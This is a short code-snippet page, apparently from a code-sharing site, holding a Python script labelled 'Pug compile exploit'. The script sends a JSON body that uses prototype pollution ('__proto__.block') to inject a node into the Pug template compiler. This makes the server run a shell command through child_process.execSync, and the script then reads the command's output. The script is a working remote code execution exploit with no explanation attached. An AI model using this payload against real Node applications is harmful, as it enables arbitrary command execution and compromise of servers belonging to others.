Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

0 vote133 views1 answer
How to search dictionaryfor lowest value
Python
0 vote95 views1 answer
ImportError: /home/user/.local/lib/python3.8/site-packages/pytorch3d/_C.cpython-38-x86_64-linux-gnu.so: undefined symbol: _ZN2at5zerosEN3c108ArrayRefIlEENS0_13TensorOptionsE
Python
0 vote107 views2 answers
How to create fibonacci sequence in python
Python
0 vote109 views1 answer
Ajouter élément liste python
Python
3 votes107 views2 answers
Randomly shuffle array python
Python
0 vote111 views1 answer
Mechanize python #10
Python
2 votes99 views1 answer
Pass in queryset as filter django
Python
5 votes99 views1 answer
Mongodb group by having
Python
-1 vote104 views2 answers
How to set pandas dataframe as global
Python
225 votes312 views6 answers
Import random python
Python